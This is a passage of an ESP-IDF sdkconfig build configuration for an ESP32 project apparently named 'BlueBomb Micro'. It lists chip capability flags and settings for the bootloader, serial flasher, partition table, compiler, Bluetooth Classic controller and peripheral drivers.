CONFIG_SOC_I2C_FIFO_LEN=32 89 | CONFIG_SOC_I2C_CMD_REG_NUM=16 90 | CONFIG_SOC_I2C_SUPPORT_SLAVE=y 91 | CONFIG_SOC_I2C_SUPPORT_APB=y 92 | CONFIG_SOC_I2C_STOP_INDEPENDENT=y 93 | CONFIG_SOC_I2S_NUM=2 94 | CONFIG_SOC_I2S_HW_VERSION_1=y 95 | CONFIG_SOC_I2S_SUPPORTS_APLL=y 96 | CONFIG_SOC_I2S_SUPPORTS_PLL_F160M=y 97 | CONFIG_SOC_I2S_SUPPORTS_PDM=y 98 | CONFIG_SOC_I2S_SUPPORTS_PDM_TX=y 99 | CONFIG_SOC_I2S_PDM_MAX_TX_LINES=1 100 | CONFIG_SOC_I2S_SUPPORTS_PDM_RX=y 101 | CONFIG_SOC_I2S_PDM_MAX_RX_LINES=1 102 | CONFIG_SOC_I2S_SUPPORTS_ADC_DAC=y 103 | CONFIG_SOC_I2S_SUPPORTS_ADC=y 104 | CONFIG_SOC_I2S_SUPPORTS_DAC=y 105 | CONFIG_SOC_I2S_SUPPORTS_LCD_CAMERA=y 106 | CONFIG_SOC_I2S_TRANS_SIZE_ALIGN_WORD=y 107 | CONFIG_SOC_I2S_LCD_I80_VARIANT=y 108 | CONFIG_SOC_LCD_I80_SUPPORTED=y 109 | CONFIG_SOC_LCD_I80_BUSES=2 110 | CONFIG_SOC_LCD_I80_BUS_WIDTH=24 111 | CONFIG_SOC_LEDC_HAS_TIMER_SPECIFIC_MUX=y 112 | CONFIG_SOC_LEDC_SUPPORT_APB_CLOCK=y 113 | CONFIG_SOC_LEDC_SUPPORT_REF_TICK=y 114 | CONFIG_SOC_LEDC_SUPPORT_HS_MODE=y 115 | CONFIG_SOC_LEDC_CHANNEL_NUM=8 116 | CONFIG_SOC_LEDC_TIMER_BIT_WIDTH=20 117 | CONFIG_SOC_MCPWM_GROUPS=2 118 | CONFIG_SOC_MCPWM_TIMERS_PER_GROUP=3 119 | CONFIG_SOC_MCPWM_OPERATORS_PER_GROUP=3 120 | CONFIG_SOC_MCPWM_COMPARATORS_PER_OPERATOR=2 121 | CONFIG_SOC_MCPWM_GENERATORS_PER_OPERATOR=2 122 | CONFIG_SOC_MCPWM_TRIGGERS_PER_OPERATOR=2 123 | CONFIG_SOC_MCPWM_GPIO_FAULTS_PER_GROUP=3 124 | CONFIG_SOC_MCPWM_CAPTURE_TIMERS_PER_GROUP=y 125 | CONFIG_SOC_MCPWM_CAPTURE_CHANNELS_PER_TIMER=3 126 | CONFIG_SOC_MCPWM_GPIO_SYNCHROS_PER_GROUP=3 127 | CONFIG_SOC_MMU_PERIPH_NUM=2 128 | CONFIG_SOC_MMU_LINEAR_ADDRESS_REGION_NUM=3 129 | CONFIG_SOC_MPU_MIN_REGION_SIZE=0x20000000 130 | CONFIG_SOC_MPU_REGIONS_MAX_NUM=8 131 | CONFIG_SOC_PCNT_GROUPS=1 132 | CONFIG_SOC_PCNT_UNITS_PER_GROUP=8 133 | CONFIG_SOC_PCNT_CHANNELS_PER_UNIT=2 134 | CONFIG_SOC_PCNT_THRES_POINT_PER_UNIT=2 135 | CONFIG_SOC_RMT_GROUPS=1 136 | CONFIG_SOC_RMT_TX_CANDIDATES_PER_GROUP=8 137 | CONFIG_SOC_RMT_RX_CANDIDATES_PER_GROUP=8 138 | CONFIG_SOC_RMT_CHANNELS_PER_GROUP=8 139 | CONFIG_SOC_RMT_MEM_WORDS_PER_CHANNEL=64 140 | CONFIG_SOC_RMT_SUPPORT_REF_TICK=y 141 | CONFIG_SOC_RMT_SUPPORT_APB=y 142 | CONFIG_SOC_RMT_CHANNEL_CLK_INDEPENDENT=y 143 | CONFIG_SOC_RTCIO_PIN_COUNT=18 144 | CONFIG_SOC_RTCIO_INPUT_OUTPUT_SUPPORTED=y 145 | CONFIG_SOC_RTCIO_HOLD_SUPPORTED=y 146 | CONFIG_SOC_RTCIO_WAKE_SUPPORTED=y 147 | CONFIG_SOC_SDM_GROUPS=1 148 | CONFIG_SOC_SDM_CHANNELS_PER_GROUP=8 149 | CONFIG_SOC_SDM_CLK_SUPPORT_APB=y 150 | CONFIG_SOC_SPI_HD_BOTH_INOUT_SUPPORTED=y 151 | CONFIG_SOC_SPI_AS_CS_SUPPORTED=y 152 | CONFIG_SOC_SPI_PERIPH_NUM=3 153 | CONFIG_SOC_SPI_DMA_CHAN_NUM=2 154 | CONFIG_SOC_SPI_MAX_CS_NUM=3 155 | CONFIG_SOC_SPI_SUPPORT_CLK_APB=y 156 | CONFIG_SOC_SPI_MAXIMUM_BUFFER_SIZE=64 157 | CONFIG_SOC_SPI_MAX_PRE_DIVIDER=8192 158 | CONFIG_SOC_MEMSPI_SRC_FREQ_80M_SUPPORTED=y 159 | CONFIG_SOC_MEMSPI_SRC_FREQ_40M_SUPPORTED=y 160 | CONFIG_SOC_MEMSPI_SRC_FREQ_26M_SUPPORTED=y 161 | CONFIG_SOC_MEMSPI_SRC_FREQ_20M_SUPPORTED=y 162 | CONFIG_SOC_TIMER_GROUPS=2 163 | CONFIG_SOC_TIMER_GROUP_TIMERS_PER_GROUP=2 164 | CONFIG_SOC_TIMER_GROUP_COUNTER_BIT_WIDTH=64 165 | CONFIG_SOC_TIMER_GROUP_TOTAL_TIMERS=4 166 | CONFIG_SOC_TIMER_GROUP_SUPPORT_APB=y 167 | CONFIG_SOC_TOUCH_VERSION_1=y 168 | CONFIG_SOC_TOUCH_SENSOR_NUM=10 169 | CONFIG_SOC_TOUCH_PAD_MEASURE_WAIT_MAX=0xFF 170 | CONFIG_SOC_TWAI_CONTROLLER_NUM=1 171 | CONFIG_SOC_TWAI_BRP_MIN=2 172 | CONFIG_SOC_TWAI_CLK_SUPPORT_APB=y 173 | CONFIG_SOC_TWAI_SUPPORT_MULTI_ADDRESS_LAYOUT=y 174 | CONFIG_SOC_UART_NUM=3 175 | CONFIG_SOC_UART_HP_NUM=3 176 | CONFIG_SOC_UART_SUPPORT_APB_CLK=y 177 | CONFIG_SOC_UART_SUPPORT_REF_TICK=y 178 | CONFIG_SOC_UART_FIFO_LEN=128 179 | CONFIG_SOC_UART_BITRATE_MAX=5000000 180 | CONFIG_SOC_SPIRAM_SUPPORTED=y 181 | CONFIG_SOC_SPI_MEM_SUPPORT_CONFIG_GPIO_BY_EFUSE=y 182 | CONFIG_SOC_SHA_SUPPORT_PARALLEL_ENG=y 183 | CONFIG_SOC_SHA_ENDIANNESS_BE=y 184 | CONFIG_SOC_SHA_SUPPORT_SHA1=y 185 | CONFIG_SOC_SHA_SUPPORT_SHA256=y 186 | CONFIG_SOC_SHA_SUPPORT_SHA384=y 187 | CONFIG_SOC_SHA_SUPPORT_SHA512=y 188 | CONFIG_SOC_MPI_MEM_BLOCKS_NUM=4 189 | CONFIG_SOC_MPI_OPERATIONS_NUM=y 190 | CONFIG_SOC_RSA_MAX_BIT_LEN=4096 191 | CONFIG_SOC_AES_SUPPORT_AES_128=y 192 | CONFIG_SOC_AES_SUPPORT_AES_192=y 193 | CONFIG_SOC_AES_SUPPORT_AES_256=y 194 | CONFIG_SOC_SECURE_BOOT_V1=y 195 | CONFIG_SOC_EFUSE_SECURE_BOOT_KEY_DIGESTS=y 196 | CONFIG_SOC_FLASH_ENCRYPTED_XTS_AES_BLOCK_MAX=32 197 | CONFIG_SOC_PHY_DIG_REGS_MEM_SIZE=21 198 | CONFIG_SOC_PM_SUPPORT_EXT0_WAKEUP=y 199 | CONFIG_SOC_PM_SUPPORT_EXT1_WAKEUP=y 200 | CONFIG_SOC_PM_SUPPORT_EXT_WAKEUP=y 201 | CONFIG_SOC_PM_SUPPORT_TOUCH_SENSOR_WAKEUP=y 202 | CONFIG_SOC_PM_SUPPORT_RTC_PERIPH_PD=y 203 | CONFIG_SOC_PM_SUPPORT_RTC_FAST_MEM_PD=y 204 | CONFIG_SOC_PM_SUPPORT_RTC_SLOW_MEM_PD=y 205 | CONFIG_SOC_PM_SUPPORT_RC_FAST_PD=y 206 | CONFIG_SOC_PM_SUPPORT_VDDSDIO_PD=y 207 | CONFIG_SOC_PM_SUPPORT_MODEM_PD=y 208 | CONFIG_SOC_CONFIGURABLE_VDDSDIO_SUPPORTED=y 209 | CONFIG_SOC_CLK_APLL_SUPPORTED=y 210 | CONFIG_SOC_CLK_RC_FAST_D256_SUPPORTED=y 211 | CONFIG_SOC_RTC_SLOW_CLK_SUPPORT_RC_FAST_D256=y 212 | CONFIG_SOC_CLK_RC_FAST_SUPPORT_CALIBRATION=y 213 | CONFIG_SOC_CLK_XTAL32K_SUPPORTED=y 214 | CONFIG_SOC_SDMMC_USE_IOMUX=y 215 | CONFIG_SOC_SDMMC_NUM_SLOTS=2 216 | CONFIG_SOC_WIFI_WAPI_SUPPORT=y 217 | CONFIG_SOC_WIFI_CSI_SUPPORT=y 218 | CONFIG_SOC_WIFI_MESH_SUPPORT=y 219 | CONFIG_SOC_WIFI_SUPPORT_VARIABLE_BEACON_WINDOW=y 220 | CONFIG_SOC_WIFI_NAN_SUPPORT=y 221 | CONFIG_SOC_BLE_SUPPORTED=y 222 | CONFIG_SOC_BLE_MESH_SUPPORTED=y 223 | CONFIG_SOC_BT_CLASSIC_SUPPORTED=y 224 | CONFIG_SOC_BLUFI_SUPPORTED=y 225 | CONFIG_SOC_ULP_HAS_ADC=y 226 | CONFIG_SOC_PHY_COMBO_MODULE=y 227 | CONFIG_IDF_CMAKE=y 228 | CONFIG_IDF_TOOLCHAIN="gcc" 229 | CONFIG_IDF_TARGET_ARCH_XTENSA=y 230 | CONFIG_IDF_TARGET_ARCH="xtensa" 231 | CONFIG_IDF_TARGET="esp32" 232 | CONFIG_IDF_INIT_VERSION="5.2.1" 233 | CONFIG_IDF_TARGET_ESP32=y 234 | CONFIG_IDF_FIRMWARE_CHIP_ID=0x0000 235 | 236 | # 237 | # Build type 238 | # 239 | CONFIG_APP_BUILD_TYPE_APP_2NDBOOT=y 240 | # CONFIG_APP_BUILD_TYPE_RAM is not set 241 | CONFIG_APP_BUILD_GENERATE_BINARIES=y 242 | CONFIG_APP_BUILD_BOOTLOADER=y 243 | CONFIG_APP_BUILD_USE_FLASH_SECTIONS=y 244 | # CONFIG_APP_REPRODUCIBLE_BUILD is not set 245 | # CONFIG_APP_NO_BLOBS is not set 246 | # CONFIG_APP_COMPATIBLE_PRE_V2_1_BOOTLOADERS is not set 247 | # CONFIG_APP_COMPATIBLE_PRE_V3_1_BOOTLOADERS is not set 248 | # end of Build type 249 | 250 | # 251 | # Bootloader config 252 | # 253 | 254 | # 255 | # Bootloader manager 256 | # 257 | CONFIG_BOOTLOADER_COMPILE_TIME_DATE=y 258 | CONFIG_BOOTLOADER_PROJECT_VER=1 259 | # end of Bootloader manager 260 | 261 | CONFIG_BOOTLOADER_OFFSET_IN_FLASH=0x1000 262 | CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_SIZE=y 263 | # CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_DEBUG is not set 264 | # CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_PERF is not set 265 | # CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_NONE is not set 266 | # CONFIG_BOOTLOADER_LOG_LEVEL_NONE is not set 267 | # CONFIG_BOOTLOADER_LOG_LEVEL_ERROR is not set 268 | # CONFIG_BOOTLOADER_LOG_LEVEL_WARN is not set 269 | CONFIG_BOOTLOADER_LOG_LEVEL_INFO=y 270 | # CONFIG_BOOTLOADER_LOG_LEVEL_DEBUG is not set 271 | # CONFIG_BOOTLOADER_LOG_LEVEL_VERBOSE is not set 272 | CONFIG_BOOTLOADER_LOG_LEVEL=3 273 | 274 | # 275 | # Serial Flash Configurations 276 | # 277 | # CONFIG_BOOTLOADER_FLASH_DC_AWARE is not set 278 | CONFIG_BOOTLOADER_FLASH_XMC_SUPPORT=y 279 | # end of Serial Flash Configurations 280 | 281 | # CONFIG_BOOTLOADER_VDDSDIO_BOOST_1_8V is not set 282 | CONFIG_BOOTLOADER_VDDSDIO_BOOST_1_9V=y 283 | # CONFIG_BOOTLOADER_FACTORY_RESET is not set 284 | # CONFIG_BOOTLOADER_APP_TEST is not set 285 | CONFIG_BOOTLOADER_REGION_PROTECTION_ENABLE=y 286 | CONFIG_BOOTLOADER_WDT_ENABLE=y 287 | # CONFIG_BOOTLOADER_WDT_DISABLE_IN_USER_CODE is not set 288 | CONFIG_BOOTLOADER_WDT_TIME_MS=9000 289 | # CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE is not set 290 | # CONFIG_BOOTLOADER_SKIP_VALIDATE_IN_DEEP_SLEEP is not set 291 | # CONFIG_BOOTLOADER_SKIP_VALIDATE_ON_POWER_ON is not set 292 | # CONFIG_BOOTLOADER_SKIP_VALIDATE_ALWAYS is not set 293 | CONFIG_BOOTLOADER_RESERVE_RTC_SIZE=0 294 | # CONFIG_BOOTLOADER_CUSTOM_RESERVE_RTC is not set 295 | # end of Bootloader config 296 | 297 | # 298 | # Security features 299 | # 300 | CONFIG_SECURE_BOOT_V1_SUPPORTED=y 301 | # CONFIG_SECURE_SIGNED_APPS_NO_SECURE_BOOT is not set 302 | # CONFIG_SECURE_BOOT is not set 303 | # CONFIG_SECURE_FLASH_ENC_ENABLED is not set 304 | # end of Security features 305 | 306 | # 307 | # Example Board Configuration 308 | # 309 | # CONFIG_ESP_LYRAT_V4_3_BOARD is not set 310 | CONFIG_ESP_CUSTOM_BOARD=y 311 | # end of Example Board Configuration 312 | 313 | # 314 | # Application manager 315 | # 316 | CONFIG_APP_COMPILE_TIME_DATE=y 317 | # CONFIG_APP_EXCLUDE_PROJECT_VER_VAR is not set 318 | # CONFIG_APP_EXCLUDE_PROJECT_NAME_VAR is not set 319 | # CONFIG_APP_PROJECT_VER_FROM_CONFIG is not set 320 | CONFIG_APP_RETRIEVE_LEN_ELF_SHA=9 321 | # end of Application manager 322 | 323 | CONFIG_ESP_ROM_HAS_CRC_LE=y 324 | CONFIG_ESP_ROM_HAS_CRC_BE=y 325 | CONFIG_ESP_ROM_HAS_MZ_CRC32=y 326 | CONFIG_ESP_ROM_HAS_JPEG_DECODE=y 327 | CONFIG_ESP_ROM_HAS_UART_BUF_SWITCH=y 328 | CONFIG_ESP_ROM_NEEDS_SWSETUP_WORKAROUND=y 329 | CONFIG_ESP_ROM_HAS_NEWLIB_NANO_FORMAT=y 330 | CONFIG_ESP_ROM_HAS_SW_FLOAT=y 331 | CONFIG_ESP_ROM_USB_SERIAL_DEVICE_NUM=-1 332 | 333 | # 334 | # Serial flasher config 335 | # 336 | # CONFIG_ESPTOOLPY_NO_STUB is not set 337 | # CONFIG_ESPTOOLPY_FLASHMODE_QIO is not set 338 | # CONFIG_ESPTOOLPY_FLASHMODE_QOUT is not set 339 | CONFIG_ESPTOOLPY_FLASHMODE_DIO=y 340 | # CONFIG_ESPTOOLPY_FLASHMODE_DOUT is not set 341 | CONFIG_ESPTOOLPY_FLASH_SAMPLE_MODE_STR=y 342 | CONFIG_ESPTOOLPY_FLASHMODE="dio" 343 | # CONFIG_ESPTOOLPY_FLASHFREQ_80M is not set 344 | CONFIG_ESPTOOLPY_FLASHFREQ_40M=y 345 | # CONFIG_ESPTOOLPY_FLASHFREQ_26M is not set 346 | # CONFIG_ESPTOOLPY_FLASHFREQ_20M is not set 347 | CONFIG_ESPTOOLPY_FLASHFREQ="40m" 348 | # CONFIG_ESPTOOLPY_FLASHSIZE_1MB is not set 349 | CONFIG_ESPTOOLPY_FLASHSIZE_2MB=y 350 | # CONFIG_ESPTOOLPY_FLASHSIZE_4MB is not set 351 | # CONFIG_ESPTOOLPY_FLASHSIZE_8MB is not set 352 | # CONFIG_ESPTOOLPY_FLASHSIZE_16MB is not set 353 | # CONFIG_ESPTOOLPY_FLASHSIZE_32MB is not set 354 | # CONFIG_ESPTOOLPY_FLASHSIZE_64MB is not set 355 | # CONFIG_ESPTOOLPY_FLASHSIZE_128MB is not set 356 | CONFIG_ESPTOOLPY_FLASHSIZE="2MB" 357 | # CONFIG_ESPTOOLPY_HEADER_FLASHSIZE_UPDATE is not set 358 | CONFIG_ESPTOOLPY_BEFORE_RESET=y 359 | # CONFIG_ESPTOOLPY_BEFORE_NORESET is not set 360 | CONFIG_ESPTOOLPY_BEFORE="default_reset" 361 | CONFIG_ESPTOOLPY_AFTER_RESET=y 362 | # CONFIG_ESPTOOLPY_AFTER_NORESET is not set 363 | CONFIG_ESPTOOLPY_AFTER="hard_reset" 364 | CONFIG_ESPTOOLPY_MONITOR_BAUD=115200 365 | # end of Serial flasher config 366 | 367 | # 368 | # Partition Table 369 | # 370 | CONFIG_PARTITION_TABLE_SINGLE_APP=y 371 | # CONFIG_PARTITION_TABLE_SINGLE_APP_LARGE is not set 372 | # CONFIG_PARTITION_TABLE_TWO_OTA is not set 373 | # CONFIG_PARTITION_TABLE_CUSTOM is not set 374 | CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv" 375 | CONFIG_PARTITION_TABLE_FILENAME="partitions_singleapp.csv" 376 | CONFIG_PARTITION_TABLE_OFFSET=0x8000 377 | CONFIG_PARTITION_TABLE_MD5=y 378 | # end of Partition Table 379 | 380 | # 381 | # BlueBomb Micro Configuration 382 | # 383 | CONFIG_ENV_GPIO_RANGE_MIN=0 384 | CONFIG_ENV_GPIO_RANGE_MAX=39 385 | CONFIG_ENV_GPIO_IN_RANGE_MAX=39 386 | CONFIG_ENV_GPIO_OUT_RANGE_MAX=33 387 | CONFIG_BLINK_ENABLE=y 388 | CONFIG_BLINK_GPIO=2 389 | # end of BlueBomb Micro Configuration 390 | 391 | # 392 | # Compiler options 393 | # 394 | CONFIG_COMPILER_OPTIMIZATION_DEBUG=y 395 | # CONFIG_COMPILER_OPTIMIZATION_SIZE is not set 396 | # CONFIG_COMPILER_OPTIMIZATION_PERF is not set 397 | # CONFIG_COMPILER_OPTIMIZATION_NONE is not set 398 | CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_ENABLE=y 399 | # CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_SILENT is not set 400 | # CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_DISABLE is not set 401 | CONFIG_COMPILER_FLOAT_LIB_FROM_GCCLIB=y 402 | CONFIG_COMPILER_OPTIMIZATION_ASSERTION_LEVEL=2 403 | # CONFIG_COMPILER_OPTIMIZATION_CHECKS_SILENT is not set 404 | CONFIG_COMPILER_HIDE_PATHS_MACROS=y 405 | # CONFIG_COMPILER_CXX_EXCEPTIONS is not set 406 | # CONFIG_COMPILER_CXX_RTTI is not set 407 | CONFIG_COMPILER_STACK_CHECK_MODE_NONE=y 408 | # CONFIG_COMPILER_STACK_CHECK_MODE_NORM is not set 409 | # CONFIG_COMPILER_STACK_CHECK_MODE_STRONG is not set 410 | # CONFIG_COMPILER_STACK_CHECK_MODE_ALL is not set 411 | # CONFIG_COMPILER_WARN_WRITE_STRINGS is not set 412 | # CONFIG_COMPILER_DISABLE_GCC12_WARNINGS is not set 413 | # CONFIG_COMPILER_DISABLE_GCC13_WARNINGS is not set 414 | # CONFIG_COMPILER_DUMP_RTL_FILES is not set 415 | CONFIG_COMPILER_RT_LIB_GCCLIB=y 416 | CONFIG_COMPILER_RT_LIB_NAME="gcc" 417 | # end of Compiler options 418 | 419 | # 420 | # Component config 421 | # 422 | 423 | # 424 | # Application Level Tracing 425 | # 426 | # CONFIG_APPTRACE_DEST_JTAG is not set 427 | CONFIG_APPTRACE_DEST_NONE=y 428 | # CONFIG_APPTRACE_DEST_UART1 is not set 429 | # CONFIG_APPTRACE_DEST_UART2 is not set 430 | CONFIG_APPTRACE_DEST_UART_NONE=y 431 | CONFIG_APPTRACE_UART_TASK_PRIO=1 432 | CONFIG_APPTRACE_LOCK_ENABLE=y 433 | # end of Application Level Tracing 434 | 435 | # 436 | # Bluetooth 437 | # 438 | CONFIG_BT_ENABLED=y 439 | # CONFIG_BT_BLUEDROID_ENABLED is not set 440 | # CONFIG_BT_NIMBLE_ENABLED is not set 441 | CONFIG_BT_CONTROLLER_ONLY=y 442 | CONFIG_BT_CONTROLLER_ENABLED=y 443 | # CONFIG_BT_CONTROLLER_DISABLED is not set 444 | 445 | # 446 | # Controller Options 447 | # 448 | # CONFIG_BTDM_CTRL_MODE_BLE_ONLY is not set 449 | CONFIG_BTDM_CTRL_MODE_BR_EDR_ONLY=y 450 | # CONFIG_BTDM_CTRL_MODE_BTDM is not set 451 | CONFIG_BTDM_CTRL_BR_EDR_MAX_ACL_CONN=2 452 | CONFIG_BTDM_CTRL_BR_EDR_MAX_SYNC_CONN=0 453 | # CONFIG_BTDM_CTRL_BR_EDR_SCO_DATA_PATH_HCI is not set 454 | CONFIG_BTDM_CTRL_BR_EDR_SCO_DATA_PATH_PCM=y 455 | CONFIG_BTDM_CTRL_BR_EDR_SCO_DATA_PATH_EFF=1 456 | CONFIG_BTDM_CTRL_PCM_ROLE_EDGE_CONFIG=y 457 | CONFIG_BTDM_CTRL_PCM_ROLE_MASTER=y 458 | # CONFIG_BTDM_CTRL_PCM_ROLE_SLAVE is not set 459 | CONFIG_BTDM_CTRL_PCM_POLAR_FALLING_EDGE=y 460 | # CONFIG_BTDM_CTRL_PCM_POLAR_RISING_EDGE is not set 461 | CONFIG_BTDM_CTRL_PCM_ROLE_EFF=0 462 | CONFIG_BTDM_CTRL_PCM_POLAR_EFF=0 463 | CONFIG_BTDM_CTRL_LEGACY_AUTH_VENDOR_EVT=y 464 | CONFIG_BTDM_CTRL_LEGACY_AUTH_VENDOR_EVT_EFF=y 465 | CONFIG_BTDM_CTRL_BLE_MAX_CONN_EFF=0 466 | CONFIG_BTDM_CTRL_BR_EDR_MAX_ACL_CONN_EFF=2 467 | CONFIG_BTDM_CTRL_BR_EDR_MAX_SYNC_CONN_EFF=0 468 | CONFIG_BTDM_CTRL_PINNED_TO_CORE_0=y 469 | # CONFIG_BTDM_CTRL_PINNED_TO_CORE_1 is not set 470 | CONFIG_BTDM_CTRL_PINNED_TO_CORE=0 471 | CONFIG_BTDM_CTRL_HCI_MODE_VHCI=y 472 | # CONFIG_BTDM_CTRL_HCI_MODE_UART_H4 is not set 473 | 474 | # 475 | # MODEM SLEEP Options 476 | # 477 | CONFIG_BTDM_CTRL_MODEM_SLEEP=y 478 | CONFIG_BTDM_CTRL_MODEM_SLEEP_MODE_ORIG=y 479 | # CONFIG_BTDM_CTRL_MODEM_SLEEP_MODE_EVED is not set 480 | CONFIG_BTDM_CTRL_LPCLK_SEL_MAIN_XTAL=y 481 | # end of MODEM SLEEP Options 482 | 483 | CONFIG_BTDM_BLE_SLEEP_CLOCK_ACCURACY_INDEX_EFF=1 484 | CONFIG_BTDM_RESERVE_DRAM=0xdb5c 485 | CONFIG_BTDM_CTRL_HLI=y 486 | # end of Controller Options 487 | # end of Bluetooth 488 | 489 | # CONFIG_BLE_MESH is not set 490 | 491 | # 492 | # BTstack Configuration 493 | # 494 | CONFIG_BTSTACK_AUDIO=y 495 | # end of BTstack Configuration 496 | 497 | # 498 | # Driver Configurations 499 | # 500 | 501 | # 502 | # Legacy ADC Configuration 503 | # 504 | CONFIG_ADC_DISABLE_DAC=y 505 | # CONFIG_ADC_SUPPRESS_DEPRECATE_WARN is not set 506 | 507 | # 508 | # Legacy ADC Calibration Configuration 509 | # 510 | CONFIG_ADC_CAL_EFUSE_TP_ENABLE=y 511 | CONFIG_ADC_CAL_EFUSE_VREF_ENABLE=y 512 | CONFIG_ADC_CAL_LUT_ENABLE=y 513 | # CONFIG_ADC_CALI_SUPPRESS_DEPRECATE_WARN is not set 514 | # end of Legacy ADC Calibration Configuration 515 | # end of Legacy ADC Configuration 516 | 517 | # 518 | # SPI Configuration 519 | # 520 | # CONFIG_SPI_MASTER_IN_IRAM is not set 521 | CONFIG_SPI_MASTER_ISR_IN_IRAM=y 522 | # CONFIG_SPI_SLAVE_IN_IRAM is not set 523 | CONFIG_SPI_SLAVE_ISR_IN_IRAM=y 524 | # end of SPI Configuration 525 | 526 | # 527 | # TWAI Configuration 528 | # 529 | # CONFIG_TWAI_ISR_IN_IRAM is not set 530 | CONFIG_TWAI_ERRATA_FIX_BUS_OFF_REC=y 531 | CONFIG_TWAI_ERRATA_FIX_TX_INTR_LOST=y 532 | CONFIG_TWAI_ERRATA_FIX_RX_FRAME_INVALID=y 533 | CONFIG_TWAI_ERRATA_FIX_RX_FIFO_CORRUPT=y 534 | CONFIG_TWAI_ERRATA_FIX_LISTEN_ONLY_DOM=y 535 | # end of TWAI Configuration 536 | 537 | # 538 | # UART Configuration 539 | # 540 | # CONFIG_UART_ISR_IN_IRAM is not set 541 | # end of UART Configuration 542 | 543 | # 544 | # GPIO Configuration 545 | # 546 | # CONFIG_GPIO_ESP32_SUPPORT_SWITCH_SLP_PULL is not set 547 | # CONFIG_GPIO_CTRL_FUNC_IN_IRAM is not set 548 | # end of GPIO Configuration 549 | 550 | # 551 | # Sigma Delta Modulator Configuration 552 | # 553 | # CONFIG_SDM_CTRL_FUNC_IN_IRAM is not set 554 | # CONFIG_SDM_SUPPRESS_DEPRECATE_WARN is not set 555 | # CONFIG_SDM_ENABLE_DEBUG_LOG is not set 556 | # end of Sigma Delta Modulator Configuration 557 | 558 | # 559 | # GPTimer Configuration 560 | # 561 | CONFIG_GPTIMER_ISR_HANDLER_IN_IRAM=y 562 | # CONFIG_GPTIMER_CTRL_FUNC_IN_IRAM is not set 563 | # CONFIG_GPTIMER_ISR_IRAM_SAFE is not set 564 | # CONFIG_GPTIMER_SUPPRESS_DEPRECATE_WARN is not set 565 | # CONFIG_GPTIMER_ENABLE_DEBUG_LOG is not set 566 | # end of GPTimer Configuration 567 | 568 | # 569 | # PCNT Configuration 570 | # 571 | # CONFIG_PCNT_CTRL_FUNC_IN_IRAM is not set 572 | # CONFIG_PCNT_ISR_IRAM_SAFE is not set 573 | # CONFIG_PCNT_SUPPRESS_DEPRECATE_WARN is not set 574 | # CONFIG_PCNT_ENABLE_DEBUG_LOG is not set 575 | # end of PCNT Configuration 576 | 577 | # 578 | # RMT Configuration 579 | # 580 | # CONFIG_RMT_ISR_IRAM_SAFE is not set 581 | # CONFIG_RMT_RECV_FUNC_IN_IRAM is not set 582 | # CONFIG_RMT_SUPPRESS_DEPRECATE_WARN is not set 583 | # CONFIG_RMT_ENABLE_DEBUG_LOG is not set 584 | # end of RMT Configuration 585 | 586 | # 587 | # MCPWM Configuration 588 | # 589 | # CONFIG_MCPWM_ISR_IRAM_SAFE is not set 590 | # CONFIG_MCPWM_CTRL_FUNC_IN_IRAM is not set 591 | # CONFIG_MCPWM_SUPPRESS_DEPRECATE_WARN is not set 592 | # CONFIG_MCPWM_ENABLE_DEBUG_LOG is not set 593 | # end of MCPWM Configuration 594 | 595 | # 596 | # I2S Configuration 597 | # 598 | # CONFIG_I2S_ISR_IRAM_SAFE is not set 599 | # CONFIG_I2S_SUPPRESS_DEPRECATE_WARN is not set 600 | # CONFIG_I2S_ENABLE_DEBUG_LOG is not set 601 | # end of I2S Configuration 602 | 603 | # 604 | # DAC Configuration 605 | # 606 | # CONFIG_DAC_CTRL_FUNC_IN_IRAM is not set 607 | # CONFIG_DAC_ISR_IRAM_SAFE is not set 608 | # CONFIG_DAC_SUPPRESS_DEPRECATE_WARN is not set 609 | # CONFIG_DAC_ENABLE_DEBUG_LOG is not set 610 | CONFIG_DAC_DMA_AUTO_16BIT_ALIGN=y 611 | # end of DAC Configuration 612 | 613 | # 614 | # LEDC Configuration 615 | # 616 | # CONFIG_LEDC_CTRL_FUNC_IN_IRAM is not set 617 | # end of LEDC Configuration 618 | 619 | # 620 | # I2C Configuration 621 | # 622 | # CONFIG_I2C_ISR_IRAM_SAFE is not set 623 | # CONFIG_I2C_ENABLE_DEBUG_LOG is not set 624 | # end of I2C Configuration 625 | # end of Driver Configurations 626 | 627 | # 628 | # eFuse Bit Manager 629 | # 630 | # CONFIG_EFUSE_CUSTOM_TABLE is not set 631 | # CONFIG_EFUSE_VIRTUAL is not set 632 | # CONFIG_EFUSE_CODE_SCHEME_COMPAT_NONE is not set 633 | CONFIG_EFUSE_CODE_SCHEME_COMPAT_3_4=y 634 | # CONFIG_EFUSE_CODE_SCHEME_COMPAT_REPEAT is not set 635 | CONFIG_EFUSE_MAX_BLK_LEN=192 636 | # end of eFuse Bit Manager 637 | 638 | # 639 | # ESP-TLS 640 | # 641 | CONFIG_ESP_TLS_USING_MBEDTLS=y 642 | # CONFIG_ESP_TLS_USE_SECURE_ELEMENT is not set 643 | # CONFIG_ESP_TLS_CLIENT_SESSION_TICKETS is not set 644 | # CONFIG_ESP_TLS_SERVER is not set 645 | # CONFIG_ESP_TLS_PSK_VERIFICATION is not set 646 | # CONFIG_ESP_TLS_INSECURE is not set 647 | # end of ESP-TLS 648 | 649 | # 650 | # ADC and ADC Calibration 651 | # 652 | # CONFIG_ADC_ONESHOT_CTRL_FUNC_IN_IRAM is not set 653 | # CONFIG_ADC_CONTINUOUS_ISR_IRAM_SAFE is not set 654 | 655 | # 656 | # ADC Calibration Configurations 657 | # 658 | CONFIG_ADC_CALI_EFUSE_TP_ENABLE=y 659 | CONFIG_ADC_CALI_EFUSE_VREF_ENABLE=y 660 | CONFIG_ADC_CALI_LUT_ENABLE=y 661 | # end of ADC Calibration Configurations 662 | 663 | CONFIG_ADC_DISABLE_DAC_OUTPUT=y 664 | # end of ADC and ADC Calibration 665 | 666 | # 667 | # Wireless Coexistence 668 | # 669 | CONFIG_ESP_COEX_SW_COEXIST_ENABLE=y 670 | # end of Wireless Coexistence 671 | 672 | # 673 | # Common ESP-related 674 | # 675 | CONFIG_ESP_ERR_TO_NAME_LOOKUP=y 676 | # end of Common 